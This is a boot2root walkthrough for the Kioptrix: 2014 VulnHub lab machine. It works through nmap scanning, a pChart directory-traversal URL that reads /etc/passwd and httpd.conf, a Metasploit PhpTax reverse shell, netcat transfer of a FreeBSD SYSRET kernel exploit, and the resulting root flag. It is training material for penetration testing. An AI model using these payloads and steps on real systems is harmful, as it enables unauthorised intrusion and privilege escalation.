Name : Kioptrix: 2014
Difficulty : Beginner
Type : boot2root
Source : VulnHub
URL : https://www.vulnhub.com/entry/kioptrix-2014-5,62/
Entry : 7 / 30
Welcome to the walkthrough for Kioptrix: 2014, a boot2root CTF found on VulnHub. This is the seventh VM in my VulnHub Challenge! This is also the last VM in a family of CTF challenges on VulnHub called Kioptrix. This series is considered a great starting point for CTFs in the boot2root family. This is the VM that is often quoted in guides for preparing for the OSCP certification. This is a fun machine, and has a few small differences compared to the other VMs in this series, but it’s a great learning experience.
I should mention that Kioptrix: 2014 is also listed as a great resource for OSCP training.
Goal
For this particular entry in the series, there is a flag file in the /root directory that can be read once access is gained to the root user.
Setup
I’m using VMWare Workstation Player to host Kali and the Kioptrix: 2014 image, with both VMs running in a NAT network. Apparently this one may require a fix if you are using VirtualBox, but VMWare player works just fine. Be sure to check out the instructions on VulnHub for details.
Note: I did have some trouble with VMWare Player with this VM. I couldn’t get NAT networking to work right away, so I had to delete and re-add the Network adapter before it would work. Something to keep in mind if you run into trouble.
Discovery
I use netdiscover to search for the IP address of the Kioptrix: 2014 VM:
root@dante:~# netdiscover -r 192.168.127.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.127.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.127.2 00:50:56:e9:f5:d4 1 60 VMware, Inc.
192.168.127.141 00:0c:29:f8:69:41 1 60 VMware, Inc.
192.168.127.254 00:50:56:f7:1c:69 1 60 VMware, Inc.
So it looks like 192.168.127.141 is our target, as the others are used by VMWare for various networking tasks (gateway, etc.).
Scanning
I’ll start with a quick nmap scan to look for open ports, then do a second scan that does a deeper dive into the services behind the open ports using the -sC and -sV flags:
root@dante:~# nmap 192.168.127.141
Starting Nmap 7.80 ( https://nmap.org ) at 2019-08-31 13:15 EDT
Nmap scan report for 192.168.127.141
Host is up (0.00051s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
8080/tcp open http-proxy
MAC Address: 00:0C:29:F8:69:41 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 5.96 seconds
root@dante:~# nmap -sC -sV -p22,80,8080 192.168.127.141
Starting Nmap 7.80 ( https://nmap.org ) at 2019-08-31 13:16 EDT
Nmap scan report for 192.168.127.141
Host is up (0.00074s latency).
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
|_http-server-header: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
|_http-title: Site doesn't have a title (text/html).
8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
|_http-title: 403 Forbidden
MAC Address: 00:0C:29:F8:69:41 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.39 seconds
Nice. A few things of note here:
- There is a web server running on port 80 and 8080.
- Seems that the host OS is FreeBSD, which is different than the other Kioptrix machines so far.
- There seems to be something blocking the server on port 8080, possibly a virtual host?
- Port 22 is listed as closed, so perhaps something is blocking it?
Based on the scan results, I think starting with port 80 is going to be the best starting point.
Web Reconnaissance
I’m going to start with something very basic, curl, and see what I can pull down:
root@dante:~# curl -v http://192.168.127.141
* Trying 192.168.127.141:80...
* TCP_NODELAY set
* Connected to 192.168.127.141 (192.168.127.141) port 80 (#0)
> GET / HTTP/1.1
> Host: 192.168.127.141
> User-Agent: curl/7.65.3
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sat, 31 Aug 2019 17:40:53 GMT
< Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
< Last-Modified: Sat, 29 Mar 2014 17:22:52 GMT
< ETag: "105c6-98-4f5c211723300"
< Accept-Ranges: bytes
< Content-Length: 152
< Content-Type: text/html
<
<html>
<head>
<!--
<META HTTP-EQUIV="refresh" CONTENT="5;URL=pChart2.1.3/index.php">
-->
</head>
<body>
<h1>It works!</h1>
</body>
</html>
* Connection #0 to host 192.168.127.141 left intact
Nothing in the headers, but it seems there is a commented-out redirect in the <head> section of the HTML. Looks like pChart2.1.3, so I’ll start with that. I’ll use searchspoit to see if there’s an exploit available.
root@dante:~# searchsploit pchart 2.1.3
----------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
----------------------------------------- ----------------------------------------
pChart 2.1.3 - Multiple Vulnerabilities | exploits/php/webapps/31173.txt
----------------------------------------- ----------------------------------------
Shellcodes: No Result
Nice! Multiple vulnerabilities are always fun since they give us choice! Diving into the details of this particular exploit, I can see that there is a directory traversal bug as well as an XSS vulnerability. You can read up on these yourself by using searchsploit -x 31173, or browse over to the entry on Exploit DB here.
Directory Traversal for Fun & Profit
I’m going to use the example from the exploit writeup from searchsploit/exploit-db.com and adjust it for the path I found in the HTML, i.e. /pChart2.1.3/ as the base path:
root@dante:~# curl "http://192.168.127.141/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd" | html2text
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2084 100 2084 0 0 169k 0 --:--:-- --:--:-- --:--:-- 169k
# $FreeBSD: release/9.0.0/etc/master.passwd 218047 2011-01-28 22:29:38Z pjd $
#
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/
nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/
uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
mysql:*:88:88:MySQL Daemon:/var/db/mysql:/usr/sbin/nologin
ossec:*:1001:1001:User &:/usr/local/ossec-hids:/sbin/nologin
ossecm:*:1002:1001:User &:/usr/local/ossec-hids:/sbin/nologin
ossecr:*:1003:1001:User &:/usr/local/ossec-hids:/sbin/nologin
Success! I piped the output of curl through a tool called html2text to strip out the HTML tags and make the output easier to read. So the good news is I have a working Local File Inclusion (LFI) vulnerability that I can take advantage of. The bad news is what I saw in the /etc/passwd file - OSSEC.
If you’re not familiar with it, OSSEC is a Host Intrusion Detection System (HIDS), and it normally comes with some rules that will automatically block any brute force attacks. I didn’t run gobuster on this site, but I’m pretty sure if I did I would have locked myself out for a good 10-15 minutes. I like OSSEC, I used to use it in the past to harden my systems, but as an attacker it can be a bit of a pain.
So what’s next? Well, I did have a HTTP 403 error on port 8080, and I suspected that was due to a virtual host not being configured properly. The best path forward at this point is to see if any virtual hosts are defined!
Looking for Virtual Hosts
Virtual hosts are normally configured in an Apache configuration file. On Linux, I would start with the /etc/apache2/apache2.conf file and see what was there. However this machine isn’t Linux, it’s FreeBSD. So after a bit of digging, I found that on FreeBSD, the Apache configuration file is located at /usr/local/etc/apache22/httpd.conf instead. As before I’ll use curl and pipe it through html2text to make the output easier to read.
root@dante:~# curl "http://192.168.127.141/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf" | html2text
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 31906 0 31906 0 0 3115k 0 --:--:-- --:--:-- --:--:-- 3115k
#
# This is the main Apache HTTP server configuration file. It contains the
# configuration directives that give the server its instructions.
# See <URL:http://httpd.apache.org/docs/2.2> for detailed information.
# In particular, see
# <URL:http://httpd.apache.org/docs/2.2/mod/directives.html>
# for a discussion of each configuration directive.
#
# Do NOT simply read the instructions in here without understanding
# what they do. They're here only as hints or reminders. If you are unsure
# consult the online docs. You have been warned.
#
# Configuration and logfile names: If the filenames you specify for many
# of the server's control files begin with "/" (or "drive:/" for Win32), the
# server will use that explicit path. If the filenames do *not* begin
# with "/", the value of ServerRoot is prepended -- so "/var/log/foo_log"
# with ServerRoot set to "/usr/local" will be interpreted by the
# server as "/usr/local//var/log/foo_log".
#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# Do not add a slash at the end of the directory path. If you point
# ServerRoot at a non-local disk, be sure to point the LockFile directive
# at a local disk. If you wish to share the same ServerRoot for multiple
# httpd daemons, you will need to change at least LockFile and PidFile.
#
ServerRoot "/usr/local"
<snip>
SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser
<VirtualHost *:8080>
DocumentRoot /usr/local/www/apache22/data2
<Directory "/usr/local/www/apache22/data2">
Options Indexes FollowSymLinks
AllowOverride All
Order allow,deny
Allow from env=Mozilla4_browser
</Directory>
</VirtualHost>
Include etc/apache22/Includes/*.conf
I’ve pared down the output a bit to make it easier to read and to focus on the interesting parts. As you can see, there is a virtual host defined right at the end of the httpd.conf file. It also appears to only work when a certain User-Agent string is used. I can use the -A flag for curl to set the User-Agent string, so I’ll do that and see what I get:
root@dante:~# curl -A "Mozilla/4.0" http://192.168.127.141:8080/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /</title>
</head>
<body>
<h1>Index of /</h1>
<ul><li><a href="phptax/"> phptax/</a></li>
</ul>
</body></html>
Interesting! A link to phptax. I wonder what version it is. Let me do some more digging:
root@dante:~# curl -A "Mozilla/4.0" http://192.168.127.141:8080/phptax/
<html><title>PHPTAX by William L. Berggren 2003(c)</title>
<body bgcolor='777777' link='000000' vlink='000000' alink='000000'>
<table cellpadding='2' cellspacing='0' border='1' width='780' bgcolor='#999900'>
<snip>
Lots of HTML returned, and piping it through html2text didn’t help. However, the <title> tag certainly helps! I see the copyright is set to 2003, and after a bit of searching I found that phptax versions 0.7 and 0.8 were released in 2003. Checking searchsploit:
root@dante:~# searchsploit phptax
------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------------- ----------------------------------------
PhpTax - 'pfilez' Execution Remote Code Injection (Metasploit) | exploits/php/webapps/21833.rb
PhpTax 0.8 - File Manipulation 'newvalue' / Remote Code Execution | exploits/php/webapps/25849.txt
phptax 0.8 - Remote Code Execution | exploits/php/webapps/21665.txt
------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
Well, well, well. Seems there’s a Metasploit module available! Let me see how well it works.
Exploiting with Metasploit
Firing up Metasploit I go looking for the exploit for phptax:
root@dante:~# msfconsole
.,,. .
.\$$$$$L..,,==aaccaacc%#s$b. d8, d8P
d8P #$$$$$$$$$$$$$$$$$$$$$$$$$$$b. `BP d888888p
d888888P '7$$$$\""""''^^`` .7$$$|D*"'``` ?88'
d8bd8b.d8p d8888b ?88' d888b8b _.os#$|8*"` d8P ?8b 88P
88P`?P'?P d8b_,dP 88P d8P' ?88 .oaS###S*"` d8P d8888b $whi?88b 88b
d88 d8 ?8 88b 88b 88b ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"` `?88' ?88 ?88 88b d88 d88
.a#$$$$$$"` 88b d8P 88b`?8888P'
,s$$$$$$$"` 888888P' 88n _.,,,ass;:
.a$$$$$$$P` d88P' .,.ass%#S$$$$$$$$$$$$$$'
.a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
.a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
_______________________________________________________________ ,&$$$$$$'_____
ll&&$$$$'
.;;lll&&&&'
...;;lllll&'
......;;;llll;;;....
` ......;;;;... . .
=[ metasploit v5.0.42-dev ]
+ -- --=[ 1915 exploits - 1074 auxiliary - 330 post ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops ]
+ -- --=[ 4 evasion ]
msf5 > search phptax
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/phptax_exec 2012-10-08 excellent Yes PhpTax pfilez Parameter Exec Remote Code Injection
msf5 >
Next few steps are to use the exploit, set the payload, set the options, and execute:
msf5 > use exploit/multi/http/phptax_exec
msf5 exploit(multi/http/phptax_exec) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf5 exploit(multi/http/phptax_exec) > show options
Module options (exploit/multi/http/phptax_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /phptax/ yes The path to the web application
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 PhpTax 0.8
msf5 exploit(multi/http/phptax_exec) > set RHOSTS 192.168.127.141
RHOSTS => 192.168.127.141
msf5 exploit(multi/http/phptax_exec) > set RPORT 8080
RPORT => 8080
msf5 exploit(multi/http/phptax_exec) > set LHOST eth0
LHOST => 192.168.127.135
msf5 exploit(multi/http/phptax_exec) > set LPORT 9001
LPORT => 9001
msf5 exploit(multi/http/phptax_exec) >
However there is one problem. Notice that there isn’t an option for the User-Agent property? Not to worry, when I run show advanced, I see that there is an otpion for User-Agent, and I set it accordingly.
msf5 exploit(multi/http/phptax_exec) > set UserAgent Mozilla/4.0
UserAgent => Mozilla/4.0
msf5 exploit(multi/http/phptax_exec) > exploit
[*] Started reverse TCP double handler on 192.168.127.135:9001
[*] 192.168.127.1418080 - Sending request...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo lY4MQwJlfVrJom8o;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Command: echo rX6z5wUT3F2xNWJq;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "lY4MQwJlfVrJom8o\r\n"
[*] Matching...
[*] A is input...
[*] Reading from socket B
[*] B: "rX6z5wUT3F2xNWJq\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (192.168.127.135:9001 -> 192.168.127.141:11881) at 2019-08-31 19:45:44 -0400
[*] Command shell session 1 opened (192.168.127.135:9001 -> 192.168.127.141:20889) at 2019-08-31 19:45:44 -0400
whoami
www
Alright, I have low level access as the www user! Now on to privilege escalation.
Privilege Escalation
First thing I want to do is run LinEnum.sh, but then I remember I’m on a FreeBSD machine! Shoot! I’ll keep it simple and see if I can find out what version of FreeBSD it is. I try to use the freebsd-version command, but it doesn’t exist. Next I try uname -mrs:
freebsd-version
freebsd-version: not found
uname -mrs
FreeBSD 9.0-RELEASE amd64
I see that the target is running FreeBSD 9.0. I’m going to check searchsploit again to see if there’s any kernel exploits here. The reason I’m doing that is that I already know from reviewing the /etc/passwd file earlier that there are no other users on this machine, so trying to get a stable shell as another user isn’t going to be my goal here.
root@dante:~# searchsploit freebsd 9.0
------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------------- ----------------------------------------
FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation | exploits/freebsd/local/28718.c
FreeBSD 9.0 < 9.1 - 'mmap/ptrace' Local Privilege Escalation | exploits/freebsd/local/26368.c
------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
Excellent! There are some kernel exploits I can use! I’m going to try to use the Intel SYSRET Kernel Privilege Escalation exploit first. Now, since this is a native file and I can’t compile it locally, let me check to see if gcc is installed on the target. I also need to copy the file over, so I’ll see if wget or curl are available:
which curl
which wget
which gcc
/usr/bin/gcc
which nc
/usr/bin/nc
which python
Alright, so here’s the situation:
- There is no
curl,wget, orpython gccis installedncis installed
Awesome, so at least I can use nc to transfer files and I can compile things as well. However, without python installed, I can’t create my psuedo-terminal to give me a decent prompt. No problem, I’ll just get straight to work. I do realize that I could create any number of other reverse shells that may give me a better prompt, but for now I’m happy with what I have.
First up is I setup a listener to transfer the file from my attacking machine (Kali) to the target machine (FreeBSD). I start a listener on my local machine using nc, then re-direct the exploit code to it:
root@dante:~# nc -nvlp 9002 < /usr/share/exploitdb/exploits/freebsd/local/28718.c
Next I use nc on the target machine to do a reverse connection and download the file locally:
cd /tmp
nc 192.168.127.135 9002 > exploit.c
Note: This reverse connection is necessary since there is a problem setting up a bind port on the target machine, i.e. using nc -nlp on the target machine doesn’t work. You can connect, but no bytes get transfered.
After a quick MD5 checksum, I move on to compilation and execution:
md5 exploit.c
MD5 (exploit.c) = a7e59b6a91949cf03c6c7a5a6905c6d6
gcc -o exploit exploit.c
exploit.c:178:2: warning: no newline at end of file
./exploit
[+] SYSRET FUCKUP!!
[+] Start Engine...
[+] Crotz...
[+] Crotz...
[+] Crotz...
[+] Woohoo!!!
id
uid=0(root) gid=0(wheel) groups=0(wheel)
Moving on to /root I look for the flag and grab it:
cd /root
ls
.cshrc
.history
.k5login
.login
.mysql_history
.profile
congrats.txt
folderMonitor.log
httpd-access.log
lazyClearLog.sh
monitor.py
ossec-alerts.log
cat congrats.txt
If you are reading this, it means you got root (or cheated).
Congratulations either way...
Hope you enjoyed this new VM of mine. As always, they are made for the beginner in
mind, and not meant for the seasoned pentester. However this does not mean one
can't enjoy them.
As with all my VMs, besides getting "root" on the system, the goal is to also
learn the basics skills needed to compromise a system. Most importantly, in my mind,
are information gathering & research. Anyone can throw massive amounts of exploits
and "hope" it works, but think about the traffic.. the logs... Best to take it
slow, and read up on the information you gathered and hopefully craft better
more targetted attacks.
For example, this system is FreeBSD 9. Hopefully you noticed this rather quickly.
Knowing the OS gives you any idea of what will work and what won't from the get go.
Default file locations are not the same on FreeBSD versus a Linux based distribution.
Apache logs aren't in "/var/log/apache/access.log", but in "/var/log/httpd-access.log".
It's default document root is not "/var/www/" but in "/usr/local/www/apache22/data".
Finding and knowing these little details will greatly help during an attack. Of course
my examples are specific for this target, but the theory applies to all systems.
As a small exercise, look at the logs and see how much noise you generated. Of course
the log results may not be accurate if you created a snapshot and reverted, but at least
it will give you an idea. For fun, I installed "OSSEC-HIDS" and monitored a few things.
Default settings, nothing fancy but it should've logged a few of your attacks. Look
at the following files:
/root/folderMonitor.log
/root/httpd-access.log (softlink)
/root/ossec-alerts.log (softlink)
The folderMonitor.log file is just a cheap script of mine to track created/deleted and modified
files in 2 specific folders. Since FreeBSD doesn't support "iNotify", I couldn't use OSSEC-HIDS
for this.
The httpd-access.log is rather self-explanatory .
Lastly, the ossec-alerts.log file is OSSEC-HIDS is where it puts alerts when monitoring certain
files. This one should've detected a few of your web attacks.
Feel free to explore the system and other log files to see how noisy, or silent, you were.
And again, thank you for taking the time to download and play.
Sincerely hope you enjoyed yourself.
Be good...
loneferret
http://www.kioptrix.com
p.s.: Keep in mind, for each "web attack" detected by OSSEC-HIDS, by
default it would've blocked your IP (both in hosts.allow & Firewall) for
600 seconds. I was nice enough to remove that part :)
Fin.